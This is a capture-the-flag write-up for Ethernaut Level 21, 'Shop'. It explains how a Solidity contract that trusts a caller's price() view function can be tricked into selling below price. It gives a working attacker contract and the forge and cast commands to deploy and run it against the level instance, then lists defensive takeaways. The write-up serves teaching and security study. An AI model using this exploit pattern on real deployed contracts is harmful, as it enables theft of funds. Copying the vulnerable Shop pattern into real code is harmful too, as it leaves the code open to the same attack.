# Ethernaut Level 21 - Shop

## Objectives
This level requires us to buy the product from a shop for less than the price asked. It is eerily similar to [Level 11 - Elevator](https://blog.dixitaditya.com/ethernaut-level-11-elevator), but with a caveat. Let's dive in. 

---

## Analysis

```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

interface Buyer {
  function price() external view returns (uint);
}

contract Shop {
  uint public price = 100;
  bool public isSold;

  function buy() public {
    Buyer _buyer = Buyer(msg.sender);

    if (_buyer.price() >= price && !isSold) {
      isSold = true;
      price = _buyer.price();
    }
  }
}
```
The `buy()` function is checking if the price value returned by the Buyer interface is greater than the price defined (100) and if the product is already sold. If the `if` statement validation goes through, the `isSold` is set to `true`, and the price is set to the new price returned by the Buyer interface. 

The contract defines an interface called `Buyer` but the buy function is using `msg.sender`'s address to create an instance. This means that we can deploy an attacker contract with a `price()` function in it and it will be called by the `buy()` function when checking the price. 

Something which should be observed here is that the `price()` is a view function, i.e., it can not change the state so we can not maintain a state variable as we did in the [Elevator](https://blog.dixitaditya.com/ethernaut-level-11-elevator) but we can make external calls to functions that are view or pure. 

Therefore, to return two values from our `price()` function, we can make it return values based on the variable `isSold`. 

```solidity
function price () external view returns (uint) {
    return level21.isSold() ? 1 : 101;
}
```

---

## The Exploit

Let's take a look at the [exploit code](https://github.com/az0mb13/ethernaut-foundry/blob/master/src/level21.sol):

```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import "../instances/Ilevel21.sol";

contract BrokenShop {

    Shop level21 = Shop(0x9350Bd45e706BCE78Ff84C9eB91503018fFd86F3);

    function exploit() external {
        level21.buy();
    }
    
    function price () external view returns (uint) {
        return level21.isSold() ? 1 : 101;
    }
}
```

Deploy the contract above using the following command:
```
forge create BrokenShop --private-key $PKEY --rpc-url $RPC_URL
```
and call the `exploit()` function to trigger the exploit:
```
cast send 0x5641B5ab8cc6c1FF0225c3BcaaDE972BD958F8a9 "exploit()" --private-key $PKEY --rpc-url $RPC_URL
```

![image.png](https://cdn.hashnode.com/res/hashnode/image/upload/v1662278347138/q6od93w6u.png align="left")

Our exploit code will call the `buy()` function which will then make a call to the `price()` function defined in our contract. The function will return 101 which is more than the price defined in the Shop if `isSold` is set to `false`, otherwise, it will return 1. The new price can be checked in the console using `await contract.price()`. 

The instance can now be submitted to finish the level. 

> My **Github Repository** containing all the codes: github.com/az0mb13/ethernaut-foundry

> My article on setting up your workspace to get started with Ethernaut using Foundry and Solidity - https://blog.dixitaditya.com/getting-started-with-ethernaut-hello-ethernaut

---

## Takeaways
* Never leave interfaces unimplemented and it is a really bad idea to trust implementations by other unknown contracts. 
* Even though view and pure functions can not modify the state, they can be manipulated as shown above. 

